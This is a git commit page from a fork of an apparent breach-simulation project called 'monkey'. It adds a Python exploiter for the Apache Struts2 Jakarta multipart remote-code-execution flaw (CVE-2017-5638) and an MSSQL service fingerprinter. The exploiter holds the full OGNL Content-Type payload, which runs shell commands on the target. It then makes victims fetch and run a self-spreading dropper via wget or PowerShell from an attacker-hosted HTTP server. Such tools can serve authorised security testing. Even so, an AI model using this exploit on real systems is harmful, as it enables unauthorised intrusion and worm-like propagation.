forked from p34709852/monkey
Add files dropped in merge
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Itay Mizeretz
parent
26337e3a7a
commit
063ecd9313
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"""
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Implementation is based on Struts2 jakarta multiparser RCE exploit ( CVE-2017-5638 )
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code used is from https://www.exploit-db.com/exploits/41570/
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Vulnerable struts2 versions <=2.3.31 and <=2.5.10
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"""
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import urllib2
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import httplib
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import unicodedata
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import re
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import logging
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from infection_monkey.exploit import HostExploiter
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from infection_monkey.exploit.tools import get_target_monkey, get_monkey_depth
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from infection_monkey.exploit.tools import build_monkey_commandline, HTTPTools
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from infection_monkey.model import CHECK_LINUX, CHECK_WINDOWS, POWERSHELL_HTTP, WGET_HTTP, EXISTS, ID_STRING, \
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RDP_CMDLINE_HTTP, DROPPER_ARG
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__author__ = "VakarisZ"
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LOG = logging.getLogger(__name__)
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DOWNLOAD_TIMEOUT = 300
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class Struts2Exploiter(HostExploiter):
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_TARGET_OS_TYPE = ['linux', 'windows']
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def __init__(self, host):
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super(Struts2Exploiter, self).__init__(host)
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self._config = __import__('config').WormConfiguration
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self.skip_exist = self._config.skip_exploit_if_file_exist
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self.HTTP = [str(port) for port in self._config.HTTP_PORTS]
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def exploit_host(self):
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dropper_path_linux = self._config.dropper_target_path_linux
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dropper_path_win_32 = self._config.dropper_target_path_win_32
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dropper_path_win_64 = self._config.dropper_target_path_win_64
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ports = self.get_exploitable_ports(self.host, self.HTTP, ["http"])
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if not ports:
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LOG.info("All web ports are closed on %r, skipping", self.host)
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return False
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for port in ports:
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if port[1]:
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current_host = "https://%s:%s" % (self.host.ip_addr, port[0])
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else:
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current_host = "http://%s:%s" % (self.host.ip_addr, port[0])
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# Get full URL
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url = self.get_redirected(current_host)
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LOG.info("Trying to exploit with struts2")
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# Check if host is vulnerable and get host os architecture
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if 'linux' in self.host.os['type']:
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return self.exploit_linux(url, dropper_path_linux)
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else:
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return self.exploit_windows(url, [dropper_path_win_32, dropper_path_win_64])
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def check_remote_file(self, host, path):
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command = EXISTS % path
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resp = self.exploit(host, command)
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if 'No such file' in resp:
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return False
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else:
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LOG.info("Host %s was already infected under the current configuration, done" % self.host)
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return True
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def exploit_linux(self, url, dropper_path):
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host_arch = Struts2Exploiter.check_exploit_linux(url)
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if host_arch:
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self.host.os['machine'] = host_arch
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if url and host_arch:
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LOG.info("Host is exploitable with struts2 RCE vulnerability")
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# If monkey already exists and option not to exploit in that case is selected
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if self.skip_exist and self.check_remote_file(url, dropper_path):
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LOG.info("Host %s was already infected under the current configuration, done" % self.host)
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return True
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src_path = get_target_monkey(self.host)
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if not src_path:
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LOG.info("Can't find suitable monkey executable for host %r", self.host)
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return False
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# create server for http download.
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http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
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if not http_path:
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LOG.debug("Exploiter Struts2 failed, http transfer creation failed.")
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return False
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LOG.info("Started http server on %s", http_path)
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cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_path)
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command = WGET_HTTP % {'monkey_path': dropper_path,
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'http_path': http_path, 'parameters': cmdline}
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self.exploit(url, command)
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http_thread.join(DOWNLOAD_TIMEOUT)
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http_thread.stop()
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LOG.info("Struts2 exploit attempt finished")
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return True
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return False
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def exploit_windows(self, url, dropper_paths):
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"""
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:param url: Where to send malicious request
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:param dropper_paths: [0]-monkey-windows-32.bat, [1]-monkey-windows-64.bat
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:return: Bool. Successfully exploited or not
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"""
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host_arch = Struts2Exploiter.check_exploit_windows(url)
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if host_arch:
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self.host.os['machine'] = host_arch
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if url and host_arch:
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LOG.info("Host is exploitable with struts2 RCE vulnerability")
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# If monkey already exists and option not to exploit in that case is selected
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if self.skip_exist:
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for dropper_path in dropper_paths:
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if self.check_remote_file(url, re.sub(r"\\", r"\\\\", dropper_path)):
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LOG.info("Host %s was already infected under the current configuration, done" % self.host)
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return True
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src_path = get_target_monkey(self.host)
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if not src_path:
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LOG.info("Can't find suitable monkey executable for host %r", self.host)
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return False
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# Select the dir and name for monkey on the host
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if "windows-32" in src_path:
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dropper_path = dropper_paths[0]
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else:
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dropper_path = dropper_paths[1]
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# create server for http download.
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http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
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if not http_path:
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LOG.debug("Exploiter Struts2 failed, http transfer creation failed.")
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return False
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LOG.info("Started http server on %s", http_path)
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# We need to double escape backslashes. Once for payload, twice for command
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cmdline = re.sub(r"\\", r"\\\\", build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_path))
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command = POWERSHELL_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path),
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'http_path': http_path, 'parameters': cmdline}
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backup_command = RDP_CMDLINE_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path),
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'http_path': http_path, 'parameters': cmdline, 'type': DROPPER_ARG}
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resp = self.exploit(url, command)
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if 'powershell is not recognized' in resp:
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self.exploit(url, backup_command)
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http_thread.join(DOWNLOAD_TIMEOUT)
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http_thread.stop()
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LOG.info("Struts2 exploit attempt finished")
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return True
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return False
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@staticmethod
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def check_exploit_windows(url):
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resp = Struts2Exploiter.exploit(url, CHECK_WINDOWS)
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if resp and ID_STRING in resp:
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if "64-bit" in resp:
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return "64"
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else:
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return "32"
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else:
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return False
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@staticmethod
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def check_exploit_linux(url):
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resp = Struts2Exploiter.exploit(url, CHECK_LINUX)
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if resp and ID_STRING in resp:
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# Pulls architecture string
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arch = re.search('(?<=Architecture:)\s+(\w+)', resp)
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arch = arch.group(1)
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return arch
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else:
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return False
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@staticmethod
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def get_redirected(url):
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# Returns false if url is not right
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headers = {'User-Agent': 'Mozilla/5.0'}
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request = urllib2.Request(url, headers=headers)
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try:
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return urllib2.urlopen(request).geturl()
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except urllib2.URLError:
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LOG.error("Can't reach struts2 server")
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return False
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@staticmethod
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def exploit(url, cmd):
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"""
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:param url: Full url to send request to
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:param cmd: Code to try and execute on host
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:return: response
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"""
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payload = "%%{(#_='multipart/form-data')." \
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"(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." \
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"(#_memberAccess?" \
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"(#_memberAccess=#dm):" \
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"((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." \
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"(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." \
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"(#ognlUtil.getExcludedPackageNames().clear())." \
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"(#ognlUtil.getExcludedClasses().clear())." \
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"(#context.setMemberAccess(#dm))))." \
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"(#cmd='%s')." \
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"(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." \
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"(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." \
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"(#p=new java.lang.ProcessBuilder(#cmds))." \
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"(#p.redirectErrorStream(true)).(#process=#p.start())." \
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"(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." \
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"(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." \
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"(#ros.flush())}" % cmd
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# Turns payload ascii just for consistency
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if isinstance(payload, unicode):
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payload = unicodedata.normalize('NFKD', payload).encode('ascii', 'ignore')
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headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload}
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try:
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request = urllib2.Request(url, headers=headers)
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# Timeout added or else we would wait for all monkeys' output
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page = urllib2.urlopen(request).read()
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except AttributeError:
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# If url does not exist
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return False
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except httplib.IncompleteRead as e:
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page = e.partial
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return page
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@staticmethod
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def get_exploitable_ports(host, port_list, names):
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candidate_services = {}
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for name in names:
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chosen_services = {
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service: host.services[service] for service in host.services if
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('name' in host.services[service]) and (host.services[service]['name'] == name)
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}
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candidate_services.update(chosen_services)
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valid_ports = [(port, candidate_services['tcp-' + str(port)]['data'][1]) for port in port_list if
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'tcp-' + str(port) in candidate_services]
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return valid_ports
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@ -0,0 +1,74 @@
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import logging
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import socket
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from infection_monkey.model.host import VictimHost
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from infection_monkey.network import HostFinger
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__author__ = 'Maor Rayzin'
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LOG = logging.getLogger(__name__)
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class MSSQLFinger(HostFinger):
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# Class related consts
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SQL_BROWSER_DEFAULT_PORT = 1434
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BUFFER_SIZE = 4096
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TIMEOUT = 5
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SERVICE_NAME = 'MSSQL'
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def __init__(self):
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self._config = __import__('config').WormConfiguration
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def get_host_fingerprint(self, host):
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"""Gets Microsoft SQL Server instance information by querying the SQL Browser service.
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:arg:
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host (VictimHost): The MS-SSQL Server to query for information.
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:returns:
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Discovered server information written to the Host info struct.
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True if success, False otherwise.
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"""
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assert isinstance(host, VictimHost)
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# Create a UDP socket and sets a timeout
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sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
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sock.settimeout(self.TIMEOUT)
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server_address = (str(host.ip_addr), self.SQL_BROWSER_DEFAULT_PORT)
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# The message is a CLNT_UCAST_EX packet to get all instances
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# https://msdn.microsoft.com/en-us/library/cc219745.aspx
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message = '\x03'
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# Encode the message as a bytesarray
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message = message.encode()
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# send data and receive response
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try:
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LOG.info('Sending message to requested host: {0}, {1}'.format(host, message))
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sock.sendto(message, server_address)
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data, server = sock.recvfrom(self.BUFFER_SIZE)
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except socket.timeout:
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LOG.info('Socket timeout reached, maybe browser service on host: {0} doesnt exist'.format(host))
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sock.close()
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return False
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host.services[self.SERVICE_NAME] = {}
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# Loop through the server data
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instances_list = data[3:].decode().split(';;')
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LOG.info('{0} MSSQL instances found'.format(len(instances_list)))
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for instance in instances_list:
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instance_info = instance.split(';')
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if len(instance_info) > 1:
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host.services[self.SERVICE_NAME][instance_info[1]] = {}
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for i in range(1, len(instance_info), 2):
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# Each instance's info is nested under its own name, if there are multiple instances
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# each will appear under its own name
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host.services[self.SERVICE_NAME][instance_info[1]][instance_info[i - 1]] = instance_info[i]
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# Close the socket
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sock.close()
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return True
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